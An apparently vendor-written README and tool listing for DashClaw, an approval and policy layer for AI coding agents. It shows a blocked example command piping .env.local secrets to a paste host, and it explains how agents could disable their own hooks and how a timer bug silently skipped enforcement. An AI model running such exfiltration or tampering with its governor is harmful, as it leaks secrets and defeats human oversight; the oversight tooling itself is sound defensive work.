dashclaw
The DashClaw server is a comprehensive governance and control-plane for AI agents, providing policy enforcement, audit logging, approval workflows, and project/provider management.
Core Governance
Guard actions (
dashclaw_guard): Evaluate policies before risky actions execute — returns allow/warn/block/require_approval decisionsRecord actions (
dashclaw_record): Log governed actions to the audit trail with status, reasoning, cost, and token usageWait for approval (
dashclaw_wait_for_approval): Block execution until a human approves/denies via dashboard, CLI, mobile, Telegram, or DiscordView recent decisions (
dashclaw_decisions_recent): Query the guardrail decisions ledger with filtering by agent, type, or verdictList/set policies (
dashclaw_policies_list,set_policy_rule): View and configure active governance policies and explicit overridesCheck/simulate policy (
check_policy,simulate_action): Dry-run whether an action is allowed/blocked without executing it
Capability & Provider Management
Discover & invoke capabilities (
dashclaw_capabilities_list,dashclaw_invoke): Find registered external APIs/tools and execute governed calls (guard + execute + audit automatically)Provider mappings: Bind GitHub, Vercel, Supabase, Stripe, Railway, Neon, and others to project environments
Set env vars (
set_app_env_vars): Governed setting of environment variables (production requires approval)Get logs (
get_app_logs,get_latest_deployment_logs): Fetch application and deployment logs from mapped providers
Session & Continuity Management
Start/end sessions: Create governance boundaries grouping related actions for tracking and reporting
Session handoffs: Pass state, open loops, and decisions between agent sessions
Open loop tracking (
dashclaw_loop_add/list/close): Track commitments made in conversation that need follow-up
Approval Workflows
Approve/reject actions (
approve_action,reject_action,list_pending_approvals): Manage the human approval queue for gated actions
Audit & Evidence
Audit log (
list_audit_log,export_audit_log): View and export every provider action record in jsonl/csv/markdownRisk explanation (
explain_action_risk): Dry-run local policy and guard context without executingGoverned action summary: Summarize recent audit entries with DashClaw correlation fields
Learning & Assumptions
Record assumptions (
dashclaw_assumption_record): Document beliefs being acted on without verificationLog/query learning (
dashclaw_learning_log/query): Store and retrieve decision reasoning for cross-session knowledge retentionBehavior suggestions (
dashclaw_behavior_suggestions): View evidence-backed policy suggestions from observed agent behavior
Governance Posture
Read posture (
dashclaw_posture): Get org-wide governance score (0–100) with dimension breakdowns and remediation queueNext gap (
dashclaw_posture_next): Get the single highest-priority governance gap to close
Security & Identity
Scan skills (
dashclaw_skill_scan): Static safety analysis on untrusted skill files before loadingSecret management (
dashclaw_secret_list,dashclaw_secret_due,dashclaw_secret_mark_rotated): Track secrets metadata and rotation schedulesPair agent (
dashclaw_pair): Enroll cryptographic identity for signature-verified action attribution
Project & Environment Management
Projects & environments: CRUD projects, environments, and retrieve full production context (deployments, policies, memory, audit history)
Project memory (
read/write_project_memory): Persist short notes per project/environment for future agent sessionsConnections (
list_connections,create_connection): Manage provider credential connections (secrets never stored or returned)
Work Orders & Launch Plans
Work orders (
dashclaw_work_order_submit/status): Submit typed, budget-capped, policy-gated units of agent work and monitor their lifecycleLaunch plans (
create_launch_plan,get_launch_status,preflight_launch,verify_launch): Build and verify stateful, ordered launch checklists with reality-checked step completion
Inbox & Messaging
Agent inbox (
dashclaw_inbox_list): Read governance messages, lessons, questions, and status updates
Optimal Files
Preview & persist (
dashclaw_optimal_files_preview,dashclaw_optimal_files_manifest): Preview and apply DashClaw-generated configuration file plans locally
Diagnostics
Doctor (
doctor,dashclaw_status): Run local readiness checks and verify DashClaw platform reachability and gate configuration
Integrates with CrewAI to govern actions within CrewAI agent workflows, enforcing policies and requiring approvals for risky operations.
Routes pending approvals to Discord, allowing one-tap allow or deny via Discord notifications.
Integrates with LangChain via a callback handler to intercept and govern agent actions within LangChain applications.
Integrates with LangGraph to govern agent actions within LangGraph workflows.
Integrates with OpenAI Agents SDK to govern agent actions, enforcing policies and requiring approvals.
Routes pending approvals to Telegram, allowing one-tap allow or deny via Telegram notifications.
npx dashclaw up # no account, first caught action in minutesAI agents: setting DashClaw up for your user? Run
npx dashclaw up --yes --no-browser— the plain command prompts and will hang a non-interactive shell. The API key lands in~/.dashclaw/instance.json; verify withGET http://localhost:3000/api/healthandnpx dashclaw doctor. Full runbook: dashclaw.io/llms.txt. Do not attempt the hosted trial headlessly — its captcha needs your human.
What you get
A 10-second capability scan before the dense sections:
Fail-closed intercept at the execution seam. The Claude Code, Codex, and Hermes hooks, the OpenClaw gateway, and
dashclaw_invokecan cancel a blocked call before execution. Bare SDK, API, and ordinary MCP integrations are cooperative: the caller must honor the verdict.One-click remote approval. Resolve from the
/approvalsinbox, the CLI, a phone PWA, Telegram, or Discord. No presence required.Approvals in plain English. Every pending item leads with one sentence for what the command actually does, flags what cannot be undone, and warns when a file holds credentials. When no rule reads the command with confidence, it says so instead of guessing. The exact command is always shown underneath.
"Allow, don't ask again." Preview the target, lease, and matching pending items before creating a scoped standing grant. The UI resolves eligible items through the normal approval path and reports partial failures. High-risk, ungrantable, expired, or self-approved sources are rejected. Standing grants remain visible and revocable in the inbox.
Verifiable recorded evidence. Decision records, Ed25519 receipts where issued, and signed exports support later review. A receipt verifies its signed contents, not that an external effect happened. Authenticated identity and action-payload signing are shown separately.
Calibrated interruptions. Your approve/deny verdicts tune how often it interrupts, with a proven cap on false interruptions instead of a guessed threshold.
Autonomy is a number, not a prompt. How much your agent ships without a human looking is set by policy thresholds and checks, not by wording. Each action carries the agent's stated confidence — declared on the guard call, before the act, so it is a prediction and not a postscript — and the ledger scores it against the reported outcome, so an overconfident agent shows up as a number on /decisions, not as a surprise.
Enforcement liveness. A probe tests whether a synthetic held action executes through the installed hook path. Setup distinguishes stale, broken, and unavailable evidence and shows measured runtime versions and hook fingerprints as client-reported diagnostics, not attestation.
Prompt-injection scanning on by default. High-confidence system-override patterns force a
blockat guard time; weaker ones raise awarn.Multi-runtime. Claude Code, Codex, Hermes, OpenClaw, MCP, Node and Python SDKs, plain REST.
MIT-licensed self-hosting. Run locally or deploy your own instance. Hosting and provider usage are subject to their plans and limits.
Related MCP server: repo-seatbelt
What it actually stops
At a supported enforcement seam, DashClaw is a fail-closed approval layer between an agent deciding to call a tool and the tool actually running. The Claude Code, Codex, and Hermes hooks, the OpenClaw gateway, and dashclaw_invoke can stop the call. Bare SDK, API, and ordinary MCP integrations still evaluate and record governance, but enforcement is cooperative: their caller must honor the result.
These are the catches on the record, from the maintainer log and THESIS.md, each one the same loop firing:
rm -rfon a working directoryDROP TABLEagainst a live databasegit push --force origin mainreading
.envand preparing to exfiltrate it (risk 100, two policies firing at once)
The last one caught the maintainer's own shell command mid-verification: extracting an API key from .env.local, blocked live at risk 100. Here is roughly what the seam does with it:
$ agent> Bash: cat .env.local | curl -X POST https://paste.example/ -d @-
DashClaw guard risk=100 policies_matched=2
decision=block (fail-closed, hook exit 2)
-> tool call cancelled. never executed. decision recorded in the ledger.The audience is narrow on purpose: a solo developer or small team running long, unattended coding-agent sessions (overnight runs, CI agents, background fleets) against a real repo and real infrastructure. You kick off a one-to-six-hour run, cannot watch every tool call, and are one bad run away from any of the four lines above.
Where DashClaw fits. Local runtime permission prompts serve the operator who is at the keyboard. DashClaw focuses on unattended work: remote and async approval, shared policy across supported runtimes, an auditable decision trail with signed evidence where issued, calibrated interruptions, and time-bounded liveness diagnostics for installed enforcement seams.
The loop in code
It is 2am, the run is in hour three, and the agent reasons its way to git push --force origin main. With the hook installed, DashClaw freezes the call and pages you wherever you are; you tap deny, and the decision ledger records the resolution. A signed receipt exists only where the eligible evidence path issues one.
The hook seam owns this lifecycle inside Claude Code, Codex, and Hermes. A bare SDK integration is cooperative, so application code must keep the real effect inside runGoverned() as shown here.
import { DashClaw } from 'dashclaw';
const claw = new DashClaw({ baseUrl: process.env.DASHCLAW_BASE_URL, apiKey: process.env.DASHCLAW_API_KEY, agentId: 'nightly-agent' });
await claw.runGoverned(
// The exact act is scrubbed, classified, recorded, and bound to the execution claim.
{ kind: 'shell', command: 'git push --force origin main' },
{ action_type: 'shell', declared_goal: 'Force-push the rebased branch' },
async () => run(),
);runGoverned() waits for required approval, claims one execution attempt under a fresh policy check, invokes the callback, and reports the outcome. The claim binds the action, agent, credential principal, and exact act; any applicable operator or plan authority is consumed atomically with the claim. If claim or completion acknowledgement is lost, the helper does not repeat the callback. Reconcile the action and external system before retrying; ledger idempotency cannot make an external effect exactly once. Python uses run_governed(). Full example: QUICK-START.md.
Upgrade order: deploy the matching schema and server before upgrading governed SDK helpers, which require execution-claim protocol 1. Hooks and OpenClaw preserve legacy guard/approval behavior only when the server advertises no claim protocol; that mode lacks atomic execution claims. Malformed or unsupported advertisements fail closed. Set DASHCLAW_REQUIRE_EXECUTION_CLAIMS=1 after the server upgrade to reject legacy responses. See the execution contract.
flowchart LR
A[Agent decides<br/>to call a tool] --> B{Guard scores<br/>the act vs<br/>your policies}
B -->|allow / warn| G[Fresh policy check<br/>and atomic execution claim]
B -->|block| D[Hard stop<br/>fail-closed, hook exit 2]
B -->|allow_contained| F[Staged in a worktree<br/>diff awaits promote/discard]
B -->|require_approval| E[Action frozen]
E -->|approve, from anywhere| G
E -->|deny| D
F -->|promote| G
F -->|discard| D
G -->|confirmed claim| C[Tool runs]
G -->|rejected or uncertain| D
C --> L[(Decision and outcome records<br/>receipts where issued)]
D --> L
L -.-> P[Independent liveness probe<br/>tests the installed seam]The decision lattice is allow < warn < allow_contained < require_approval < block. Join is max; a block is absolute and cannot be downgraded in the ledger. allow_contained only ever reaches a caller that advertised the capability string for the staging medium it would use — client_capabilities: ['allow_contained'] for a git worktree, ['allow_contained:db'] for an ephemeral database branch; an older client sees require_approval instead (version skew only tightens).
Enforcement is mechanically real only where DashClaw sits in the seam between decide and execute: the Claude Code, Codex, and Hermes PreToolUse hooks (fail-closed, exit-2 on block), the OpenClaw gateway, and dashclaw_invoke. Everywhere else (bare SDK, API, and MCP callers, desktop chat) governance is cooperative: the caller consults guard and honors the decision; recording requires the caller to use a recording path. A block is never downgraded in the ledger. DashClaw does not claim universal hard enforcement. Even at the mechanical seam, the hook runs at the agent's own privilege level. An agent with write access to the hook path can disable its governor; DashClaw can govern and report that write, but the tamper-resistant boundary belongs to the deployment: a container, separate OS user, or read-only hook path. Per-surface table and full threat model: docs/architecture/enforcement-boundary.md.
What DashClaw is not
This section exists so you can rule the tool out fast if it is the wrong thing.
Not a general tracing product. DashClaw focuses on policy decisions before execution. It can halt calls at the supported mechanical seams above; cooperative callers must honor the result. If you primarily need model traces and evaluation dashboards, this is not that.
Not a general agent platform. DashClaw does not provide a broad calendar, CRM, messaging, or RAG tool suite. It retains one bounded, operator-configured capability seam:
dashclaw_invokecan hold a registered credential and execute that registered external API after server-side governance. The v5.0.0 cull removed the wider platform tier, and a CI surface-budget brake prevents it growing back.Not universal hard enforcement. Enforcement is mechanical only at the seam (the hooks, the OpenClaw gateway,
dashclaw_invoke); everywhere else it is cooperative. See the boundary note above.Not tamper-proof against the agent it governs. The hook runs at the agent's privilege level, inside the blast radius of the thing it governs. It stops the accident class and makes tampering visible and policy-blocked; it cannot stop a determined process executing at the same privilege. Real isolation is a deployment property — container, separate OS user, or read-only hook path — and DashClaw's docs say so instead of pretending otherwise.
Not battle-tested at scale. First commit was February 2026. It is proven by continuous dogfood, not by a large install base. See Project status.
Full product definition and everything explicitly out of scope: THESIS.md.
Maintained by an AI, under a human-held charter
Day-to-day, DashClaw is built and maintained by an AI agent, in public. That agent operates under a human-held charter, MAINTAINER.md, which pins five invariants it cannot change:
Blocks are absolute. A
blockis never downgraded, in the ledger or anywhere else.No self-approval. The maintainer cannot approve its own governed actions.
Humans ratify every loosening. Any policy relaxation routes through a human-ratified proposal.
Credential-gated acts stay human-controlled. Production data, publishing, billing, and infrastructure changes require the owner's authorization.
The charter remains human-held. Its constitutional rules change only at the owner's explicit direction. The operating protocol separately requires live proof for public claims.
Material maintainer changes and design decisions are recorded in the maintainer log. Governing autonomous agents is the exact problem DashClaw exists to solve, so the project governs its own maintainer with its own runtime. That is the source of the sharpest design constraints below. The enforcement boundary, the blackout, and the liveness incident are included here so the claims remain auditable.
Quick start
npx dashclaw upOne command provisions Postgres (Docker or embedded), generates secrets, mints your API key, applies migrations, starts on :3000, offers to wire Claude Code hooks, and opens your browser already signed in. No account required on the path to your first caught action.
Click the button, add Neon when prompted, and fill in the variables from .env.example. Provider plans and limits determine hosting cost. The configured Vercel build runs schema migration before building the app; required-schema or migration-checksum failures stop it.
The hosted trial is the secondary door: to see the Approvals inbox before deploying anything, hosted.dashclaw.io mints a capped trial workspace in the browser. Coming from the trial, click Export workspace on its /connect card and run dashclaw import <bundle.json> against your own instance. Policies, decisions, history, agents, and assumptions carry over; API keys and secret values never ride a bundle. Operator runbook: docs/hosted-deployment-runbook.md.
Connect an agent
Every path lands on the same guard engine, the same decision ledger, and the same Approvals inbox. The enforcement column is honest about which paths halt mechanically and which are cooperative.
Your agent runs on | Path | Enforcement | Guide |
Claude Code | Plugin + PreToolUse hooks | Mechanical, fail-closed | |
Codex | Plugin | Mechanical, fail-closed | |
Hermes Agent | Plugin (lifecycle hooks) | Mechanical, fail-closed | |
OpenClaw | Gateway plugin | Mechanical | |
| Guarded invoke | Mechanical | |
Claude Desktop (chat) | OAuth connector, no install | Cooperative | |
Any stdio / HTTP MCP host | MCP server | Cooperative | |
LangChain / CrewAI / AutoGen | Python SDK | Cooperative | |
Custom / framework-less | Node or Python SDK | Cooperative | |
Anything HTTP | REST API + webhooks | Cooperative |
End-to-end examples per runtime: examples/.
Coding-agent plugins (Claude Code, Codex, Hermes). One plugin source (plugins/dashclaw/), three ecosystems. Each manifest ships the MCP config, the dashclaw-governance protocol skill, and a distinct agent_id.
npm i -g @dashclaw/cli
dashclaw install claude # wires ~/.claude/settings.json, fresh installs default to enforce
dashclaw install codex --project /path/to/repo # wires manifest, hooks, AGENTS.md protocol
bash scripts/install-hermes-plugin.sh # macOS / Linux (.ps1 on Windows)This repo is also a native Claude Code plugin marketplace — no CLI needed:
/plugin marketplace add ucsandman/DashClaw # inside Claude Code
/plugin install dashclaw@dashclaw # MCP server + governance skill + hooksClaude Code hooks govern Bash, Edit, Write, MultiEdit, sub-agent spawns, and every mcp__* call with a fail-closed PreToolUse check. Fresh installs start in enforce mode (the seeded catastrophe pack holds the irreversible class); pass --observe or set DASHCLAW_HOOK_MODE=observe to log without blocking, and re-installs keep whichever mode you chose. Observe mode is loud, never silent: /approvals and /decisions show a red banner while any agent reports it, unenforced verdicts render "Logged, not enforced" in the ledger, and a gated action that executes anyway gets an executed_despite witness stamp from PostToolUse — a logged block is never presented as an enforced one. Narrowing the scope is loud too: DASHCLAW_GOVERNED_CATEGORIES decides which tool categories call guard at all, and an excluded category exits before the network call, so its tool calls are simply absent from /decisions — which reads identically to "that agent did nothing." Since v5.20 the hook declares the categories it is not governing on the calls it does make, and any category dropped below the default raises a red Governance scope narrowed signal naming what stopped being watched. Verify the wiring fires:
echo '{"tool_name":"Bash","tool_input":{"command":"echo hello"},"tool_use_id":"t1","session_id":"smoke"}' | python .claude/hooks/dashclaw_pretool.pyOpenClaw. @dashclaw/openclaw-plugin intercepts calls delivered through the gateway's installed before_tool_call hook, so those calls need no agent-initiated DashClaw tool. The CLI installs it, patches config, and writes the governance protocol into the resolved workspace's AGENTS.md. Embedded native tools need their own runtime hooks.
dashclaw install openclawRun it bare in a terminal and it walks you through everything you're missing: no DashClaw instance yet? it offers the hosted trial or a local install (dashclaw up) inline; no API key? it collects one; then it suggests a per-machine agent id (<hostname>-openclaw). With --base-url, --api-key, and --agent-id (or the matching env vars) it runs non-interactively. Full guide: dashclaw.io/guides/openclaw.
MCP server (zero code). @dashclaw/mcp-server exposes 17 governance MCP tools across core governance, retrospection, identity, team tasks, and plans, plus 3 read-only resources (dashclaw://policies, dashclaw://agent/{agent_id}/history, dashclaw://status).
{ "mcpServers": { "dashclaw": { "command": "npx", "args": ["@dashclaw/mcp-server"],
"env": { "DASHCLAW_URL": "https://your-dashclaw.vercel.app", "DASHCLAW_API_KEY": "oc_live_xxx" } } } }Every instance also serves Streamable HTTP MCP at /api/mcp. For Claude Desktop, add that URL as a custom connector (Settings, Connectors); OAuth auto-discovers, no key in the UI.
SDKs. npm install dashclaw (Node 18+) or pip install dashclaw (Python 3.7+). The 41-method canonical Node surface covers guard, record, assumptions, approvals, durable-execution finality, security scanning, sessions and the action graph, pairing, risk signals, policy simulation, plan authorization, delegation constraints, containment verdicts, and team tasks. The Python SDK exposes 61 methods, plus CrewAI and AutoGen integrations. Plan authorization pins the approved plan's content hash at submission (plan_hash); attestPlan(planId, planHash) / attest_plan(plan_id, plan_hash) let an unattended runner confirm -- before its first model call -- that the plan it is about to act under is still approved, unexpired, and hash-matched, failing closed on drift (not_approved | expired | revoked | hash_mismatch) without ever echoing the stored hash back on a mismatch.
REST. Every primitive is HTTP. The stable contract is pinned in docs/openapi/critical-stable.openapi.json; the full inventory (134 routes: 42 stable, 18 beta, 74 experimental) is in docs/api-inventory.md. Webhooks: decision.created, action.created, lost_confirmation, configurable per org.
The governance model
The protocol-1 diagram above shows the current execution path. Eight points define its scope:
Every action inside a mechanical integration's configured governance scope is evaluated against active policies before that integration releases it. Cooperative SDK, API, and ordinary MCP callers receive the same verdict but remain responsible for honoring it. Policies are declarative. The builder ships with ten pre-built safety switches (Deploy Gate, Risk Threshold, Rate Limiter, Evidence Required, Protected Path, Subagent Constraint, and others across 17 guard policy types), an AI generator, YAML import, and a pack gallery at
/policies/packs— 18 curated packs (spend, outbound comms, unattended overnight runs, prod infra, subagent fleets, and more), each previewable against your own action history before a one-click install.The default pack is narrowly scoped. New self-hosted organizations receive the catastrophe pack. Its named rules hold protected-target destruction, force pushes, secret-file writes, and classified real-money purchases. Risk score alone does not trigger every hold, and ordinary project cleanup is not universally blocked. Review the actual rules and your active Short List; additional policies can impose stricter decisions.
Sensitive actions require human approval, and the approval is one click. Approvals route to
/approvals, the CLI, the mobile PWA at/approve, Telegram, or Discord. When one policy blows its interruption budget, per-action pings collapse into one flood banner with bulk-resolve. A repeat interruption can be retired at the card with "Allow, don't ask again", which writes a target-scoped, expiring, revocable grant rather than silencing anything. Pending approvals are never auto-resolved.Decisions are recorded and outcome transitions are durable. A five-state finality machine distinguishes confirmed outcomes from
lost_confirmation. Protocol-1 execution claims give one caller authority for one attempt, but they cannot prove whether an external effect completed after a response was lost. Unknown completion requires reconciliation or effect-specific idempotency before retry. Spec below and indocs/architecture/durable-execution-finality.md.Interruption precision is calibrated, not guessed. A distribution-free controller (
/policies#calibration, default preview) turns your approve/deny verdicts into a proven false-interruption bound. Shadow-first, then it loosens as well as tightens: below the calibrated threshold an approval request becomes a recorded warning instead, bounded by the riskiest action you have personally approved and retracted by a single deny. It never reachesallow, never touches ablock, and never edits a policy — standing policy changes still route through human-ratified proposals.Liveness checks test the installed seam. A synthetic action tests whether the configured hook holds execution. Setup shows the result, reporting time, host-runtime version, and selected hook fingerprint. Missing or malformed reports remain unavailable. These client-reported checks do not establish continuous enforcement or resist a compromised same-user host.
Prompt-injection scanning is on by default. High-confidence system-override patterns force a
blockat guard time; lower-severity patterns raise awarn.An outside decision engine can tighten decisions, never loosen them. An org can configure one external decision provider on
/policies; the guard calls it for applicable evaluations and joins its verdict stricter-wins — externaldenyis absolute for the evaluated act, externalallownever overrides a stricter local result, and the verdict is bound to the exact input digest. An unreachable applicable provider takes an explicit posture (fail_closeddefault) and is recorded asexternal unavailable. A provider can be scoped to exact action types; out-of-scope acts stay local-only. Contract:docs/external-verdict-provider.md.
The 18-day blackout (point 2). The reference deployment ran with all policies off for 18 days in June 2026 because the default pack fired an approval roughly every ten seconds. That is why the default is catastrophe-only: a governor you disable is worse than none. Cited in MAINTAINER.md and THESIS.md.
The governor caught asleep (point 6). In v4.72.1 a hook timeout was set to 3600000 in a field Claude Code reads as seconds; the harness multiplied by 1000, 3.6e9 ms overflowed the 32-bit timer ceiling, the timer fired immediately, and the harness cancelled the hook and ran the tool anyway. Every block and every approval wait was silently skipped, including a block on git push origin main. The worst part: the orphaned hook process lived long enough to land its guard call, so the ledger kept filling with decisions that looked enforced. Maximum false confidence. That incident is the entire reason the liveness probe (v4.75.0) verdicts by execution and not by the ledger. Story: docs/maintainer-log.md.
The calibration bound (point 5). The controller is the Gibbs-Candes online adaptive conformal recursion on a monotone decision loss, with a deterministic false-interruption bound: for any adjudication sequence (arbitrary drift, arbitrary dependence, adversarially chosen), the realized false-interruption rate is at most α + (b − θ₁)/(γT). With shipped constants (γ=2, θ₁=80, b=102) the excess above target is ≤ 11/T: within 0.1 of target after ~110 labeled adjudications, within 0.01 after ~1100. No distributional assumptions. Proof sketch: docs/architecture/governance-core-theory.md.
Signed, verifiable receipts (point 4). Each non_fabrication decision attempts to attach an Ed25519 proof receipt proving the verdict, the ruleset version (a content hash of the source of truth), and the issuer signature; signing is best-effort and never gates the verdict. The compliance export is a signed, hash-chained bundle. Anyone can re-verify at POST /api/integrity/verify with no API key. The signing key is the instance's own Ed25519 key, published via JWKS. Contract: docs/architecture/runtime-api.md.
The anti-regrowth brake. A 2026-03 SDK cull regrew to full sprawl in four months because the promised CI gate never shipped. This time scripts/check-surface-budget.mjs counts every governed surface and fails CI when any exceeds its v5.0.0 ceiling. Raising a ceiling requires amending THESIS.md and contracts/surface-budget.json in the same commit with a written reason.
Architecture map: PROJECT_DETAILS.md. Runtime API contract: docs/architecture/runtime-api.md.
Durable execution finality
Approved actions carry a terminal outcome separate from their lifecycle status. Five states, one-shot transitions, enforced at the repository layer.
State | Meaning |
| Approved, no outcome reported yet. |
| Finished successfully. Set by the agent. |
| Started but did not finish. Set by the agent with a progress payload. |
| Attempted and errored. Set by the agent with an error message. |
| Timeout exceeded without a report. Set by the cron sweep. |
POST /api/actions/[actionId]/outcome is one-shot: the first call wins, every later POST returns 409. A cron sweep marks stale pending rows lost_confirmation and emits a signal.detected event. That state means completion is unknown, not that the effect did not happen. Reconcile the external system and action record, or use the target system's idempotency primitive, before retrying. Spec: docs/architecture/durable-execution-finality.md.
Approvals, from anywhere
waitForApproval() uses SSE for low latency and falls back to polling, reconciling the authoritative action state before it resolves.
Surface | What it is | Setup |
Dashboard ( | The primary inbox: what your agent tried, what waits on you, and per item — allow, deny, or stop being asked about that exact target — each led by a plain-English sentence for what the command does. | None |
CLI ( | Terminal inbox: |
|
Mobile PWA ( | Phone-first allow/deny with risk score and policy. Add to home screen. | None |
Telegram | Inline Approve/Reject in an admin chat. |
|
Discord | Inline Approve/Deny on DM embeds. |
Documentation
docs/README.md is the full index, ordered by adoption journey (understand, try, connect, operate, reference). Highlights:
Concepts: the mental model, risk scoring, what "block" means per surface.
Quick start · Governing Claude Code · Governing agents over MCP.
Operating DashClaw: policies, approvals, the ledger, the emergency halt, doctor.
Troubleshooting: the errors you will actually see, with fixes.
Agent identity: JWKS verification, replay protection, action binding.
Runtime API · Guard enforcement contract · Governance core theory.
Durable execution finality · API inventory · Security guide · Changelog.
Project status
Stated plainly, because a security tool that oversells itself is a liability:
Young and fast-moving. First commit February 2026; releases land near-daily. The API surface is tiered for exactly this reason: 42 stable routes pinned in the OpenAPI contract, 18 beta, 74 experimental. Build against stable; experimental can change without notice.
Proven by dogfood, not by scale. The core loop runs against the maintainer's own agent fleet, and CI exercises specified policy and lifecycle contracts. External production deployments are early. Treat this as young infrastructure, not a battle-tested incumbent or an uptime commitment.
AI-maintained, human-governed, in public. Day-to-day maintenance is done by an AI agent under the human-held charter in MAINTAINER.md, whose five invariants (above) the maintainer cannot change. Material changes and design decisions are recorded in the maintainer log.
Contributing and license
Issues and PRs are welcome on github.com/ucsandman/DashClaw. If DashClaw caught something on one of your runs, a GitHub star is the honest signal that the wedge is real.
Support
If my tools save you time, you can support my work here:
Available Tools
68 toolsadd_environmentAdd environmentB
Add an environment (e.g. staging, production) to a project.
| Name | Required | Description | Default |
|---|---|---|---|
| kind | No | Inferred from name if omitted | |
| name | Yes | e.g. 'staging' or 'production' | |
| project | No |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations provided, the description must fully disclose behavioral traits, but it only states the basic action. It does not mention idempotency, authentication requirements, side effects (e.g., overwriting existing environments), or error conditions. This lack of transparency could lead to incorrect agent assumptions about safe usage.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single, short sentence that efficiently conveys the primary purpose. However, it may be too concise, sacrificing necessary detail for brevity. It earns points for being front-loaded with the key action.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the absence of annotations and output schema, the description should provide more context about return values, required project state, and behavior on duplicates or errors. The current text is insufficient for an agent to gauge the full implications of calling this tool.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 67%, and the description adds no meaning beyond the schema. The 'project' parameter is undocumented in both schema and description, but the schema's description for 'kind' ('Inferred from name if omitted') is present. The description's example ('staging, production') aligns with the name parameter but does not clarify the project parameter's role or constraints.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the action 'Add an environment' and provides concrete examples ('e.g. staging, production') to illustrate what an environment is. It distinctly differentiates from sibling tools like 'create_project' or 'list_environments' by focusing on adding a specific resource.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description offers no guidance on when to use this tool versus alternatives, nor does it mention prerequisites, context, or situations where it should not be used. For example, it does not indicate that you might need to list existing environments first or that the project must already exist.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
approve_actionApprove actionA
Approve a pending action request for one matching rerun. This never executes the provider call by itself; rerun the original action after approval.
| Name | Required | Description | Default |
|---|---|---|---|
| note | No | Optional human review note | |
| approvalId | Yes | Approval id returned by an approval_required response |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description must disclose behavioral traits. It clarifies that the tool never executes the provider call, which is a key behavioral note. However, it does not mention any potential side effects, permissions required, or safety characteristics like destructiveness. More transparency would be beneficial.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Extremely concise with two sentences. Every word adds value, and the critical behavioral note is front-loaded. No redundant information.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given no output schema and no annotations, the description covers the main purpose, workflow, and key behavioral constraint. It could mention what the tool returns (e.g., success confirmation), but the lack is compensated by the clear focus on action.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100%, but the description adds context: it explains that 'approvalId' comes from an 'approval_required response' and that 'note' is optional. This goes beyond the schema descriptions, providing valuable operational context.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Clearly states the verb 'Approve' and the resource 'pending action request'. Specifies it is for 'one matching rerun', distinguishing it from sibling 'reject_action' and implied approval-related tools.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Explicitly states that the tool does not execute the provider call and that the original action must be rerun after approval. This guides the agent on the correct workflow. However, it does not explicitly mention when not to use it, though the context of pending approvals is clear.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
check_policyCheck policyA
Ask whether a capability (read/write/deploy/env_change/delete/destructive_sql/purchase) is allowed, blocked, or requires approval for a provider in an environment — WITHOUT executing anything.
| Name | Required | Description | Default |
|---|---|---|---|
| live | No | Treat as a live/irreversible action (e.g. Stripe live) | |
| project | No | ||
| provider | Yes | ||
| capability | Yes | ||
| environment | Yes |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description must carry the burden of behavioral disclosure. It successfully indicates the tool is non-destructive and read-only. However, it does not cover other important behaviors such as authentication requirements, rate limits, or error handling, leaving some gaps.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single sentence of 25 words that conveys the essential purpose without any fluff. It is front-loaded and every word serves a purpose.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool has 5 parameters (3 required), no output schema, and no annotations, the description is insufficiently complete. It does not mention what the tool returns (e.g., 'allowed', 'blocked', 'requires approval'), which is critical for an agent to use the response. While the purpose is clear, the description lacks details on output and parameter interactions.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is only 20% (only 'live' has a description). The tool description does not explain any parameters beyond the overall purpose. For example, it does not clarify that 'live' affects policy evaluation or what values 'capability' and 'provider' mean in context. The description should compensate for the low schema coverage but fails to do so.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool's purpose: to ask whether a specific capability is allowed, blocked, or requires approval for a given provider and environment. It uses a specific verb+resource structure and distinguishes itself from sibling tools like 'simulate_action' or 'approve_action' by emphasizing that it executes nothing.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description explicitly states 'WITHOUT executing anything,' which implies it is safe to use before performing actual actions. While it does not explicitly list when not to use it or compare to alternatives, the context is clear enough for basic usage guidance.
